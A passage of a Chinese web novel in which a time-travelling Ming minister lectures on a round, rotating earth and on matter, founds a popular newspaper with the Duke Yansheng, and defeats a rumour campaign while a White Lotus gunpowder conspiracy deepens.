后排那几个老儒更是气得胡子乱颤,一个姓孙的老先生忍不住站起来:“国公!此乃妖言惑众!”
“大地若是球,那对面的人岂不头朝下走路?”
苏惟瑾不急不躁,从桌上拿起个苹果,又拿起根竹签。
“诸位看,”他把竹签插进苹果,“假设这是大地,这是站在地上的人。”
“无论站在球的哪一面,人的脚都朝着地心,头都朝着天空——所以不会掉下去。”
他又拿起个茶杯,往苹果上倒水:“至于海水……你们看,水是不是附着在苹果表面?”
学子们瞪大眼睛看。
那水果然沿着苹果表面流动,没有“流走”。
“可是……”孙老先生还是不服,“若大地是球,为何我们感觉不到在转?”
“问得好。”苏惟瑾又拿出个小陀螺,在桌上旋转起来,“诸位看,陀螺转得快时,是不是很稳?”
“大地每十二个时辰转一圈,我们随大地一起转,就像站在转动的陀螺上,自然感觉不到。”
他走到地球仪旁,手指一点:“再看——大地不仅自转,还绕着太阳公转,一年一圈。”
“因为地轴是倾斜的,所以不同地方受阳光照射不同,这才有了春夏秋冬。”
说着,他让苏惟奇点亮一盏油灯,代表太阳。
自己转动地球仪,演示着四季变化。
学子们看得如痴如醉。
那些原本觉得“大地是球”荒唐的人,此刻也陷入了沉思——国公爷演示得如此明白,好像……真有道理?
后排的工部官员低声议论:“难怪钦天监算日食那么准,原来用了这‘地球’之说……”
兵部一个主事则盯着地球仪上的舆图,喃喃道:“若真如此……那从大明往西一直走,岂不是能绕回大明?”
“这、这海路……”
苏惟瑾等众人消化了片刻,继续道:“方才说了天,现在说地。”
“诸位可知,万物由什么构成?”
这下连最博学的士族子弟也答不上来了。
“有人说是金木水火土五行,”苏惟瑾在黑板上写下这五个字,“但今日我要说,万物皆由‘微尘’构成。”
他在黑板上画了个小圆点:“这种微尘,小到肉眼看不见,千万亿颗聚在一起,才成我们所见之物。”
“金有金的微尘,木有木的微尘,水有水的微尘——微尘不同,物性就不同。”
一个匠户子弟举手:“国公爷,那……那微尘能分开吗?”
“问得好。”苏惟瑾赞许地点头,“暂时不能。”
“但将来或许可以——若能把铁的微尘重新排列,或许能让铁更硬、更韧。”
“这就是‘格物’要研究的。”
他走到讲堂中央,拿起个铜壶,倒出水来:“再说水。”
“水在火上烧,会变成气;气遇冷,又变回水——这叫‘物态变化’。”
“将来我们或许能用这个道理,造出不用人力、靠水气推动的机器。”
一堂课,讲了地球自转、万物微尘、物态变化。
每一个概念,都像重锤砸在学子们固有的认知上。
有人迷茫,有人兴奋,有人激动得满脸通红。
下课的钟声敲响时,学子们“呼啦”一下全围了上去。
“国公爷!那微尘能不能看见?”
“国公爷!大地若是球,那最早是怎么形成的?”
“国公爷!水气推动机器,真能成吗?”
苏惟瑾被围在中间,耐心地一一解答。
后排那几个老儒摇头叹气。
孙老先生颤巍巍站起来,对身旁的严世蕃派来的司业道:“离经叛道……离经叛道啊!”
“我要回去写文章,驳斥此等妖言!”
那司业苦笑:“孙老,您没见那些学子眼里的光吗?”
“驳斥……怕是不易啊。”
确实,年轻学子眼中闪着的光,是求知的光,是发现新世界的兴奋。
这种光,不是几句“祖宗成法”能扑灭的。
……
午后,苏惟瑾没走,把二十名天赋最高的学子叫到了小讲堂。
这二十人是上午课堂上提问最犀利、理解最快的。
周墩子、钱满仓、鲁小锤都在其中,还有那个士族子弟,叫李文渊。
“诸位,”苏惟瑾看着这些年轻人,“上午讲的,只是皮毛。”
“格物之学,浩瀚如海。”
“今日我成立‘格物研究社’,你们就是第一批社员。”
他发下二十本空白册子:“每人选一个课题,深入研究。”
“有疑问可随时来问我,需要材料工具,报给苏惟奇。”
学子们激动地翻开册子。
周墩子第一个开口:“国公爷,我想研究农具!”
“我老家耕地用的犁太笨重,我想造个轻便省力的!”
“好。”苏惟瑾点头,“你先画图,算受力,做模型。”
钱满仓举手:“我想研究算学!”
“今日您讲大地是球,那球面上的距离怎么算?”
“商队走西域,要是能算准路程,能省好多时间和钱!”
“这个课题好。”苏惟瑾笑了,“你先从平面三角学开始。”
鲁小锤涨红了脸:“我、我还想改进木牛流马……”
“上午听您说水气推动,我在想,能不能用烧水产生的气,推动木轮子……”
苏惟瑾眼睛一亮:“你这是要造蒸汽机的雏形啊!”
“好!大胆试!”
轮到李文渊时,这个士族子弟犹豫了一下,低声道:“国公爷,我想研究……火药。”
周围安静了。
火药是军国重器,寻常人碰不得。
苏惟瑾看着他:“为何想研究这个?”
李文渊抬起头:“我家祖上是军户,曾祖父战死在土木堡。”
“我读书时就在想,若当年明军火器更利,或许不会败得那么惨……”
“我想让大明的火器,天下无敌。”
他说得诚恳,眼中带着血性。
苏惟瑾沉吟片刻,点头:“可以。”
“但你要签保密契,研究过程全程在监视下进行。”
“能做到么?”
“能!”李文渊重重点头。
研究社就这么成立了。
二十个年轻人,二十个课题,像二十颗火种。
……
傍晚,苏惟瑾走出校门时,周大山匆匆赶来。
“公子,西安那边有消息了。”他压低声音,“地洞里那本《火器秘录》,经几个老匠人辨认——里面记载的几种火药配方,都提到了‘白霜’做增效剂。”
苏惟瑾眼神一凛:“增效剂?”
“对。”周大山点头,“按秘录所说,掺入微量白霜,火药威力能增三成,但……不稳定,容易自燃自爆。”
“成化年间神机营炸膛,很可能就是用了这种配方。”
“还有,”周大山继续道,“在地洞深处,又发现了一间密室。”
“里头有具尸骨,尸骨旁有块腰牌,上面刻着……‘白莲社’三个字。”
苏惟瑾停住脚步。
白莲社!
吴明死前画的那个符号,圆圈里三道波浪——正是白莲社的标记!
“尸骨身份查清了么?”
“正在查。”周大山道,“但从衣物残片看,是前朝太监的服饰。”
“而且,密室墙上刻着一幅图——画的是个地下宫殿的构造,看位置,就在……紫禁城底下。”
苏惟瑾倒吸一口凉气。
紫禁城底下有前朝修的地下宫殿?
白莲社、太监、火药配方、白霜……
这些线索像散落的珠子,突然被一根线串了起来。
“还有件事,”周大山脸色凝重,“鲁小锤那木牛流马,我请工部的老匠看了。”
“他们说……那机关的原理,与地洞里发现的一件前朝‘自行木人’的残骸,有七分相似。”
苏惟瑾猛地转头:“鲁小锤家世查清了?”
“查了,三代木匠,清清白白。”周大山道,“但他爷爷年轻时,曾跟着个游方匠人学过三年手艺。”
“那匠人……姓张。”
张!
又是张!
张永、白莲社、前朝太监、地下宫殿、白霜火药……
一张跨越百年的大网,在苏惟瑾脑中渐渐清晰。
而此刻,鲁小锤正在小讲堂里,对着他的木牛流马发呆。
少年无意识地转动着模型上的一个榫卯,那转动的方式,竟与地洞中“自行木人”残骸上的机关印记,完美吻合。
他并不知道,自己手中这个小小的木玩具,正是一把钥匙。
一把打开百年谜团的钥匙。
鲁小锤的木牛流马机关,竟与白莲社秘宝同源!
他爷爷师从的张姓匠人,是否就是张永家族的传人?
紫禁城下的前朝地宫究竟藏着什么?
白莲社与太监集团勾结百年,用“白霜火药”制造炸膛事故,目的难道不只是贪腐?
更令人不安的是,李文渊在翻阅家传兵书时,偶然发现曾祖父留下的一页笔记,上面潦草地写着:“正统十四年,土木堡之变前夜,军中火药皆换新料,味有异香。”
而笔记角落,画着一个模糊的符号——正是圆圈中的三道波浪!
难道土木堡之变,也与白莲社有关?
格物大学开学伊始,阴谋的阴影已悄然笼罩。
鲁小锤、李文渊这些学子,究竟是偶然卷入,还是早已被选定?
第433章 报纸初问世,孔家领“闻风”
八月初十,衍圣公孔闻韶的府邸。
这宅子在京城西城,离国子监不远,三进院子,不算奢华,可那股子书卷气是骨子里的——影壁上刻着《论语》开篇,廊下挂的是历代衍圣公墨宝,连扫地的老仆都能背几句“子曰”。
此刻孔闻韶坐在书房里,手里捧着杯雨前龙井,眉头却皱得能夹死蚊子。
他对面坐着苏惟瑾。
“国公爷,”孔闻韶放下茶盏,“您说的这‘报纸’……老朽还是没太明白。”
与朝廷的邸报有何不同?
苏惟瑾笑了,从袖中取出一卷纸,在书案上铺开。
那是份手写的样稿,分四版。
头版写着“大明闻风报·试刊”,下面是几篇文章标题:《陛下圣谕:今岁减赋三成》、《格物大学开学盛况》、《工部新规:匠户考核优者脱籍》……
孔闻韶戴上老花镜,仔细看。
“邸报是给官员看的,内容多是政令、奏章,文绉绉的,百姓看不懂也不关心。”
苏惟瑾指着样稿,“报纸要给天下人看——识字的百姓、商人、工匠、甚至军营里的士卒。”
所以文章要通俗,要说人话。
他顿了顿:“而且邸报一月一期,太慢。”
报纸要旬日一期,甚至五日一期,要紧事还能出“号外”,当日印当日发。
孔闻韶抬眼看苏惟瑾:“国公爷是想……用这报纸,传新政?”
“不止。”苏惟瑾压低声音,“还要用它引导舆论。”
新政好,要让人知道好在哪里;陋习坏,要让人明白坏在何处。
百姓懂了,才会支持;士林懂了,才少非议。
孔闻韶沉吟半晌:“这……倒是可行。”
只是士林清议,向来自由,岂是几张纸能引导的?
“所以需要孔家出面。”苏惟瑾直视着他,“衍圣公是天下读书人的表率。”
您来办《大明闻风报》,任总编,谁敢说这是“奇技淫巧”?
谁又敢说这是“妖言惑众”?
这话戳中了孔闻韶的心思。
自打他跟着苏惟瑾推行新政、编“新四书”,在保守派那边已落了不少话柄。
若能通过报纸掌握舆论,那就不只是自保,更是……抢占话语权。
“只是,”他还是有顾虑,“老朽年事已高,办报这等繁琐事……”
“不用您亲自跑。”苏惟瑾早有准备,“设‘闻风书院’,培养访事、主笔。”
访事负责采访消息,主笔负责写稿编版。
您只需把最后一道关,定个调子。
他掏出一份名单:“第一批十名访事,我已挑好了。”
有落第秀才、有识字的商人子、甚至有个说书先生——这些人懂市井,知道百姓爱看什么。
孔闻韶看着名单,终于点头:“那就……试试。”
……
三日后,闻风书院在孔府西跨院挂牌。
说是书院,其实就三间厢房。
一间当讲堂,一间当编房,一间堆纸墨。
十名访事坐在讲堂里,个个神情紧张。
他们中年纪最大的四十多岁,是前些年落第的秀才,叫王墨林;最年轻的才十八,是鼓楼大街茶楼说书先生的儿子,叫赵快嘴。
苏惟瑾亲自来上第一课。
他没讲大道理,上来就问:“假如你是访事,听说京郊有老农试种新稻成功,亩产增了两斗。”
你怎么采访?
访事们面面相觑。
王墨林迟疑道:“去……去问那老农,何时种、如何种?”
赵快嘴抢着说:“还得看看那稻子长啥样!”
跟旁的稻子比比!
“对。”苏惟瑾点头,“但还不够。”
他在黑板上写下五个字:“何时、何地、何人、何事、何因。”
“这是访事五要素。”他解释道,“何时——什么时候种的?什么时候收的?”
何地——哪块田?土质如何?
何人——老农叫什么?家里几口人?种了多少年地?
何事——亩产增了多少?怎么增的?
何因——是新稻种好?还是施肥得法?或是管理精心?
访事们听得认真,赶紧记笔记。
“记住,”苏惟瑾继续道,“采访时要多听少说。”
让受访者多说,你多记。
关键数据要核实——他说亩增两斗,你最好亲自量量他的田,称称他的粮。
他又讲怎么写稿:“文章要像说话,通俗易懂。”
少用“之乎者也”,多用“了么呢吧”。
标题要抓人眼球,比如……他想了想,“《老农试种新稻,亩产惊增两斗!》——这样百姓才爱看。”
赵快嘴眼睛发亮:“国公爷,这……这不就跟说书似的?”
得有起承转合!
“对!”苏惟瑾赞许,“就是这个理儿。”
培训了三天,访事们开始实地练习。
王墨林被派去京郊采访老农,赵快嘴去格物大学记录开学盛况,其他人有的跑工部问匠户新规,有的蹲在顺天府衙门口等判案新闻。
……
八月二十,首期《大明闻风报》开印。
印刷用的是苏惟瑾从月港调来的新式活字印刷机——铅活字,转轮排版,效率比雕版高十倍。
印坊设在孔府后院,二十个工匠三班倒。
头版头条是孔闻韶亲自定的:《陛下圣谕:今岁减赋三成,万民称颂》。
文章写得朴实,先写小皇帝如何体恤民情,再写减赋具体怎么减,最后引用几个老农的感恩话。
二版是《格物大学开学盛况》,配了幅简单的木刻图——学堂大门,学子列队。
文章重点写了寒门子弟如何珍惜机会,如何苦读。
三版最接地气:《京郊老农试种新稻,亩增两斗!》。
王墨林采访得细,写了老农姓名、住址、田亩数,还详细描述了新稻的长势,最后附了句老农的原话:“这稻子耐旱,穗子沉,明年全村都要种!”
末版是市井趣谈,有则笑话这么写:某书生在茶馆吹牛,说自己能与国公爷论道。
旁人问:“国公爷说什么?”
书生答:“国公爷说——你先把茶钱结了。”
一千份报纸,清晨开售。
售卖点设在国子监门口、鼓楼大街、菜市口等十处。
每份定价三文钱——差不多一个烧饼的价。
孔闻韶亲自在国子监门口坐镇。
他心里没底,生怕无人问津。
辰时正,开售。
最先来的是个老秀才,拿起份报纸翻了翻,皱眉:“这是……什么东西?”
卖报的小厮忙解释:“老先生,这是《大明闻风报》,刊朝廷政令、地方新闻……”
老秀才看到头版减赋的消息,眼睛一亮:“今岁真减赋三成?”
“千真万确!您看,这儿写着呢!”
老秀才掏出三文钱:“来一份!”
有了第一个,就有第二个。
菜贩子买一份,想看看粮价动向;茶馆掌柜买一份,想找点谈资;连不识字的脚夫也凑热闹,让识字的伙计念给他听。
不到一个时辰,国子监门口的一百份售罄。
鼓楼大街更热闹。
赵快嘴他爹——那位说书先生,直接买了二十份,在茶馆里边念边讲。
听到新稻亩增两斗时,茶客们炸了:
“真能增两斗?那我老家那几亩田……”
“这报纸哪儿买的?我也来一份!”
“给我也带一份!”
半日,一千份报纸全卖光了。
没买到的围着售卖点问:“还有吗?”
加印吗?
消息传到严府,严世蕃正在书房里写字。
“卖光了?”他笔一顿,墨汁滴在宣纸上,“什么破烂东西,也配叫‘报’?”
幕僚低声道:“老爷,百姓爱看啊。”
那上面写的减赋、新稻、匠户脱籍……都是新政的好处。
长此以往,舆论就全被他们攥在手里了。
严世蕃冷笑:“攥舆论?”
我倒要看看,他们能攥多久。
他提笔写了几封信:“去找那几个老儒,让他们写文章批驳。”
就说这报纸“媚俗取宠”、“败坏文风”、“扰乱民心”。
“是。”
……
次日,国子监明伦堂。
几个老儒果然发难了。
孙老先生当众痛斥:“《大明闻风报》?我看是‘闻风乱报’!”
文章俚俗不堪,毫无文采,简直辱没斯文!
另一个更狠:“什么‘亩增两斗’,定是夸大其词!”
农事岂是儿戏?
这般哗众取宠,必是欺君罔上!
这些话传到孔闻韶耳朵里,老先生有些慌,去找苏惟瑾。
苏惟瑾正在闻风书院看第二期稿子,听了笑道:“孔公勿忧。”
他们批,咱们就让他们批得更狠些。
“啊?”孔闻韶不解。
“第二期加个‘读者来信’栏。”苏惟瑾道,“把他们的批评原文刊出来,旁边再登几封百姓夸报纸的信——让读者自己看,谁在说人话,谁在说鬼话。”
孔闻韶恍然:“妙啊!”
“还有,”苏惟瑾翻出一篇稿子,“这篇《老农亲述:新稻如何多打粮》,让王墨林再跑一趟,带上户部的农官,当场测产。”
测完把数据登出来,配图——看他们还怎么说是“夸大其词”。
三日后,第二期《大明闻风报》出街。
这期多了“读者来信”栏,左边登着孙老先生的批评文章,文绉绉一大篇;右边登着三封百姓来信,一封是菜贩写的:“报纸说菜价要跌,我赶紧存货,果然赚了!”
一封是匠户写的:“看了匠户脱籍的新闻,我儿连夜苦读,说要考格物大学!”
还有一封是京郊老农口述、王墨林代笔的:“报上写的都是我原话,咋就‘俚俗’了?”
你们写的那文章,俺们看不懂!
百姓看了直乐。
更绝的是三版那篇测产报告。
王墨林真带着户部农官去了老农的田,当场收割、当场称重——亩产确确实实增了两斗三升!
文章配了幅木刻图:老农笑呵呵站在田埂上,旁边堆着金黄的稻谷。
孙老先生看到这期报纸时,脸都绿了。
茶馆里,说书先生拍着醒木讲这段:“各位看官,这就叫‘事实胜于雄辩’!”
您说亩产没增?人家当场称给您看!
您说文章俚俗?百姓就爱看这俚俗的!
台下哄堂大笑。
严世蕃得知后,气得摔了茶盏。
“废物!”他骂道,“那几个老东西,写文章都写不到点子上!”
幕僚小心翼翼道:“老爷,如今报纸势大,硬碰不是办法。”
不如……咱们也办一份?
严世蕃眯起眼:“办一份?”
办什么?
“办《士林清议报》,专登诗文、时评,拔高格调,压过他们。”
严世蕃沉吟片刻,点头:“你去办。”
钱从我私账出。
记住——文章要雅,要显得比他们高明。
“是。”
……
八月末,苏惟瑾在闻风书院听周大山汇报。
“公子,严世蕃果然动了。”周大山低声道,“他在城南买了处院子,挂‘清议书院’的牌子,招募了一批文人,要办《士林清议报》。”
苏惟瑾笑了:“让他办。”
他办得越高雅,离百姓就越远。
他顿了顿,问:“西安那边有进展么?”
周大山脸色凝重起来:“有。”
地洞那具尸骨的身份查清了——是正统年间的司礼监太监,叫王振的徒弟,刘顺。
“刘顺?”苏惟瑾皱眉,“他怎么会死在西安地洞里?”
“还在查。”周大山道,“但更蹊跷的是,”
鲁小锤爷爷跟的那个张姓匠人,有人见过——二十年前在西安一带活动,专修古墓机关。
而刘顺死前,正是负责监修西安前代秦王陵的。
苏惟瑾心头一跳。
张姓匠人、前朝太监、秦王陵、白莲社……
“还有,”周大山继续道,“李文渊家那页笔记,我请人鉴定了。”
那“圆圈三道波浪”的符号,与白莲社标记略有不同——多了一道竖线。
据锦衣卫旧档记载,这是白莲社内“火堂”的标记,专司……火药火器。
苏惟瑾站起身,走到窗前。
夜色已深,远处格物大学的灯火还亮着——那些学子还在苦读。
而暗处,一张跨越百年的火器阴谋网,正缓缓收紧。
“公子,”周大山问,“要不要先控制住鲁小锤和李文渊?”
苏惟瑾沉默良久,摇头。
“不。”
他们只是钥匙,不是锁。
锁在暗处,我们要等……等锁自己打开。
他转身:“继续查。”
特别是刘顺修秦王陵的旧档——我要知道,他到底在那儿埋了什么。
窗外,秋风吹过,树叶沙沙作响。
而第二日,《大明闻风报》第三期出街。
头版头条是苏惟瑾亲定的标题:
《匠户之子鲁小锤:木牛流马或将改写运粮史》。
严世蕃另办《士林清议报》,文斗升级。
刘顺修秦王陵时究竟埋藏了什么秘密?
张姓匠人、白莲社火堂、鲁小锤的木牛流马、李文渊的家传笔记——这些线索在西安地洞交汇,难道百年前就有人谋划着一场涉及火器的惊天阴谋?
更令人不安的是,锦衣卫在查抄刘顺旧宅时,发现半张残破的堪舆图,上面标注着一条从西安直通京城的密道走向,而密道终点……指向紫禁城东北角一处早已废弃的宫院。
那里,曾是正统年间王振的秘密居所。
这条密道,是否就是白莲社与太监集团勾结的通道?
鲁小锤的木牛流马原理,又是否能解开密道中的机关?
当报纸将鲁小锤推向公众视野时,暗处的眼睛,是否已盯上了这个天赋异禀的少年?
第434章 舆论战初捷,瑾破谣言网
九月初,《大明闻风报》第三期出街才三天,鲁小锤就成了京城小名人。
茶馆里说书先生唾沫横飞:“列位!”
您猜怎么着?
那木牛流马真能自己走!
格物大学有个叫鲁小锤的匠户子,造了个木玩意儿,不用人推不用马拉,自个儿“嘎吱嘎吱”就能运粮!
国公爷说了,这要是造大了,往前线运军粮,能省一半民夫!
台下茶客们听得啧啧称奇。
“真的假的?”
“报上都写了!还有图呢!”
“了不得啊,匠户子也能出息!”
鲁小锤他爹在木匠铺里,这几日接活儿都接不过来——东家要打个类似的玩意儿给小孩玩,西家要订个能转的风车。
老木匠嘴笨,只会搓着手说:“那是俺儿子瞎琢磨的……”
可暗处,几双眼睛已经盯上了这个十七岁的少年。
……
九月十二,南京应天府。
秦淮河畔的“春风楼”雅间里,几个衣着华贵的中年人正围桌而坐。
主位上是徐有仁——这位前沭阳县学训导,如今靠着钻营巴结,混到了南京国子监祭酒的位子。
虽说是闲职,可南京六部养着一大批失意官员、勋贵后代,正是滋生阴谋的温床。
“徐公,”一个满脸横肉的胖子压低声音,“北京那边传来的消息,苏惟瑾那小子办报纸办得风生水起,咱们散的那些话……怕是不顶用了。”
这胖子姓朱,是某位郡王的远房侄孙,靠着祖荫混了个千户,实则屁本事没有,就爱搅和事。
徐有仁冷笑,抿了口酒:“不急。”
咱们在南京散,他在北京辟,隔着两千里,等他反应过来,谣言早生根了。
他放下酒杯,眼中闪过一丝阴狠:“你们这几日再加把劲。”
就说苏惟瑾当年用妖术蛊惑先帝飞升,如今挟持幼帝,图谋不轨。
说得越邪乎越好——老百姓就爱听这个。
另一个瘦高个儿迟疑:“可……先帝飞升,万民目睹啊。”
“目睹?”徐有仁嗤笑,“老百姓知道什么?”
他们说看见先帝乘鹤西去,咱们就说那是障眼法!
说格物学堂教的是西洋妖法,那些新式火铳、地球仪,都是邪门外道!
他越说越兴奋:“再传!”
就说苏惟瑾要废科举,让工匠商贾之子做官,断读书人的路!
南京这边多少士子?
一听这个,能不恨他?
几人相视而笑。
谣言像长了腿,从秦淮河畔的茶楼酒肆,蔓延到夫子庙前的书铺,又顺着漕船,一路往北扩散。
……
九月十八,谣言传到北京时,已经变了七八个版本。
最离谱的一个说:苏惟瑾是西洋妖僧转世,用邪术控制了小皇帝,每晚都要吸食童男童女精血炼丹。
周大山气得在国公府拍桌子:“放他娘的屁!”
公子,让俺带人去南京,把徐有仁那老小子揪出来剁了!
苏惟瑾却坐在书案前,不慌不忙地翻着新一期的报纸样稿。
“急什么。”他头也不抬,“谣言止于智者——但天下智者少,愚者多。”
所以咱们得用愚者能懂的法子。
他放下稿子,看向孔闻韶:“孔公,咱们发特刊。”
“特刊?”孔闻韶一愣,“内容呢?”
“头版,”苏惟瑾竖起一根手指,“写《先帝飞升万民目睹详记》——把当年西山盛况再渲染一遍,写祥云如何缭绕,仙乐如何悦耳,百姓如何跪拜。”
写得越细越好,要让读者仿佛身临其境。
“二版,”他竖起第二根手指,“登小皇帝亲笔《朕与国公论政记》。”
孔闻韶惊道:“陛下亲笔?”
苏惟瑾笑了:“我代笔,陛下抄一遍。”
内容就写幼帝如何英明,每日如何读书习武,国公如何忠心辅佐,君臣如何相得。
记住——用八岁孩子的口吻写,要稚嫩,要真诚。
“三版,”他竖起第三根手指,“登格物学子家书选登。”
让周墩子、钱满仓、鲁小锤他们写,写学堂如何改变命运,写他们如何感恩朝廷、感恩陛下。
“末版,”他最后道,“登‘谣言溯源’。”
把锦衣卫审出来的供词登出去——谣言最早出自南京某已被革职的勋贵门客之口,这门客受了谁指使,得了多少银子,一五一十写清楚。
孔闻韶听得目瞪口呆:“这……这能行吗?”
“能行。”苏惟瑾起身,“印刷机开足马力,加印三万份。”
快马发往全国各府县,尤其南京、苏州、杭州这些谣言重灾区。
十日内,我要让大明疆域内,凡有识字人的地方,都能看到这份特刊。
他顿了顿,补充道:“再请孔公联络各地书院山长,让他们在讲学时,顺便驳斥几句谣言——不用多,三五句就好。”
读书人信书院山长,胜过信市井流言。
孔闻韶深吸一口气:“老朽……这就去办。”
……
九月二十,特刊开印。
印刷坊灯火通明,三十架新式印刷机同时运转。
工匠们三班倒,纸墨从仓库一车车拉出来,印好的报纸一捆捆搬出去。
头版文章是苏惟瑾亲笔润色的。
他没用华丽辞藻,就用白描手法,写嘉靖飞升那日的场景:
“……辰时三刻,西山巅霞光万道。”
先帝身着杏黄道袍,立于登仙台顶,含笑向万民挥手。
忽有白鹤九只自云中降,盘旋台周。
仙乐起,如丝如缕,闻者皆心神澄明。
先帝踏鹤背,冉冉升空,至三丈高处,回望京师,曰:‘朕去矣,尔等善辅新君。’
语毕,鹤群西去,渐入云霞,唯余馨香满山……”
这段描写,让负责校稿的老秀才看得老泪纵横——他当年就在西山脚下,真看见了。
二版的小皇帝文章,苏惟瑾刻意模仿孩童笔触:
“……昨日国公教朕算学,鸡兔同笼,朕算错了三次。”
国公不恼,又说一遍。
朕终于算对,国公夸朕聪明。
朕心里高兴,赏国公一块糕点,国公吃了,说甜……”
稚气十足,反而显得真实。
三版的学子家书,是王墨林去采访的。
周墩子口述,王墨林代笔:“爹、娘:儿在学堂很好,每顿有肉,同窗友善。”
昨日学地球仪,知大地是圆球,儿夜不能寐,想我大明在这球上,该多自豪……”
钱满仓写得更实际:“爹:报纸上说的新稻,儿问了农学教习,真能增产。”
咱家铺子可囤些稻种,明年开春卖给农户,定能赚钱……”
鲁小锤的最朴实:“爹:我的木牛流马上报了。”
国公爷说,让我好好学,将来真造个能运粮的。
爹,儿一定争气……”
末版的“谣言溯源”,周大山亲自审稿。
供词来自南京那个被锦衣卫秘密抓获的门客,叫孙二狗。
供词写得细:
“小的孙二狗,原南京魏国公府门客。”
八月廿三,徐有仁徐大人召小的去府,给银五十两,命小的散播‘苏惟瑾蛊惑先帝’谣言。
小的问为何,徐大人说:‘北京那位权柄太重,得给他找点麻烦’……”
供词按了手印,附有锦衣卫的勘验证明。
九月廿二,三万份特刊,装车发往全国。
两百匹快马,从北京九门同时出发,马上骑士背着专门的邮袋——这是苏惟瑾新设的“报驿”,专送报纸。
……
南京,徐有仁还在春风楼喝酒。
这几日谣言越传越广,他心情大好。
席间,那个朱胖子奉承道:“徐公妙计!如今南京城,十个有八个在议论苏惟瑾那妖人!”
看他如何应对!
徐有仁得意地捋须:“他应对?”
他能如何应对?
派锦衣卫抓人?
那更坐实了他挟制天子、滥用权势!
写文章辩驳?
谁看?
读书人信咱们还是信他?
正说着,楼下忽然传来喧哗。
“卖报!卖报!《大明闻风报》特刊!先帝飞升详记!陛下亲笔文章!”
徐有仁手一抖,酒洒了半杯。
朱胖子推开窗,只见楼下街道上,几个报童正举着报纸吆喝。
行人纷纷围上去,三文钱一份,眨眼就卖出去几十份。
“这……”朱胖子脸色变了,“北京来的?”
这么快?
徐有仁强作镇定:“买一份上来!”
片刻后,报纸送到雅间。
几人凑在一起看。
头版那详实的飞升记载,二版那稚嫩的皇帝亲笔,三版那朴实的学子家书——每一样都像耳光,抽在他们脸上。
看到末版“谣言溯源”时,徐有仁手开始抖了。
“孙二狗……这废物!”他咬牙切齿,“锦衣卫什么时候抓的人?!”
更可怕的是,供词里明确提到了“徐有仁徐大人”,虽然没写全名,可南京城姓徐的高官有几个?
稍微一猜就知道是谁!
“徐公,”瘦高个儿声音发颤,“这……这怎么办?”
徐有仁猛地将报纸摔在地上:“慌什么!”
咱们也写文章驳斥!
就说这报纸是苏惟瑾伪造的!
“可……”朱胖子哭丧着脸,“百姓信报纸啊!”
您看楼下,都抢着买……
徐有仁冲到窗前,只见街上百姓三五成群,围着一张报纸议论:
“原来先帝飞升是这样的!说得真细致!”
“陛下才八岁,文章写得真懂事!”
“这孙二狗谁啊?造这种谣,该杀!”
“徐有仁?是不是国子监那个徐祭酒?看着道貌岸然,背地里这么下作?”
舆论,一夜反转。
……
十月初,谣言彻底销声匿迹。
不是没人信了,是没人敢说了——谁一说“苏惟瑾是妖人”,旁边就有人掏出报纸:“你看!报上写得明明白白!”
你还造谣?
更妙的是,各地书院山长在讲学时,果真顺口提了几句:“近日有宵小散播谣言,诋毁朝中栋梁,尔等学子当明辨是非,勿以讹传讹。”
读书人最听先生的话。
严世蕃在北京办的《士林清议报》第一期刚印出来,就遇上了这事。
他原本打算刊几篇高雅的诗词歌赋,显示“正统文风”,可百姓现在只关心“飞升详记”、“陛下亲笔”、“谣言溯源”这种实实在在的内容。
“高雅?”茶馆里,一个老茶客嗤笑,“那《士林清议报》我买了,看得直打瞌睡!”
还是《大明闻风报》实在,说的是人话!
严世蕃气得在府里砸了一屋子瓷器。
“三万份!他苏惟瑾哪来这么多纸?哪来这么多工匠?!”他怒吼。
幕僚小心翼翼道:“听说……格物大学开了造纸科、印刷科,学生边学边干,工钱只要市价一半……”
严世蕃颓然坐下。
他终于明白,自己和苏惟瑾的较量,已经不在一个层面上了。
他还在用老法子——串联官员、散播谣言、写文章攻击;而苏惟瑾,直接打造了一套全新的舆论机器。
印刷机对口水,报纸对谣言,这是降维打击。
……
十月十五,国公府。
苏惟瑾看着各地报来的舆情汇总,微微一笑。
周大山咧着嘴:“公子,徐有仁那老小子吓得告病了,闭门不出。”
南京那边咱们的人盯着,他敢露头就抓。
“不急。”苏惟瑾放下汇总,“让他再蹦跶几天。”
西安那边……有进展么?
周大山脸色严肃起来:“有。”
刘顺修秦王陵的旧档找到了——正统十四年,他奉王振之命,以“修缮陵寝”为名,在秦王陵地下挖了条密道,直通陵墓核心。
但工程未完,土木堡之变就发生了,刘顺失踪。
“密道里有什么?”
“还不清楚。”周大山压低声音,“但锦衣卫在西安的人发现,最近有人在暗中打听鲁小锤的爷爷——就是那个跟张姓匠人学过艺的老木匠。”
苏惟瑾眼神一凝:“什么人?”
“自称是古董商人,想收购老木匠的手艺品。”周大山道,“但我们的人盯梢发现,这伙人常在秦王陵附近转悠,夜里还偷偷下过地洞。”
“白莲社?”
“十有八九。”周大山道,“更怪的是,李文渊那边也出了状况——他昨日收到一封匿名信,信上说,只要他交出曾祖父那页笔记,就给他五千两银子。”
苏惟瑾站起身,走到窗前。
秋风吹过,庭院里的银杏叶金黄一片。
鲁小锤的木牛流马,李文渊的家传笔记,白莲社火堂,秦王陵密道……
这些碎片,正在拼成一幅完整的图。
“大山,”他转身,“派最得力的人,暗中保护鲁小锤和李文渊。”
不要惊动他们,但要确保他们安全。
“是!”
“还有,”苏惟瑾沉吟道,“查查那个张姓匠人——二十年前在西安活动,专修古墓机关……”
他修过哪些墓?
接触过哪些人?
我要知道,他到底是谁的人。
周大山领命而去。
苏惟瑾独自站在窗前,超频大脑飞速运转。
正统十四年,土木堡之变,王振,刘顺,秦王陵密道,白莲社火堂,白霜火药……
这些事件之间,一定有一条隐藏的线。
而这条线,很可能直指一个惊天秘密——
一个关于大明国运的秘密。
张姓匠人究竟是何来历?
秦王陵密道中究竟埋藏着什么,竟让白莲社如此紧张?
匿名信索要李文渊的家传笔记,是否说明那页笔记中藏着更关键的线索?
更令人不安的是,鲁小锤在改良木牛流马时,无意中发现了一个机关原理——这个原理,竟与锦衣卫从秦王陵密道中拓印出的某个古老机关图,有九成相似!
难道鲁小锤的爷爷传授给他的,正是白莲社火堂的秘传机关术?
当各方势力都将目光投向这两个少年时,苏惟瑾能否在他们被卷入深渊前,揭开百年阴谋的真相?
而此刻,南京的徐有仁在闭门数日后,突然收到一封来自西安的密信,信中只有一行字:“火种已现,速取之。”
这“火种”,指的是鲁小锤?
李文渊?
还是……别的什么?
第435章 锦衣卫分权,瑾设“内外卫”
十月底,北京城飘起了今冬第一场雪。
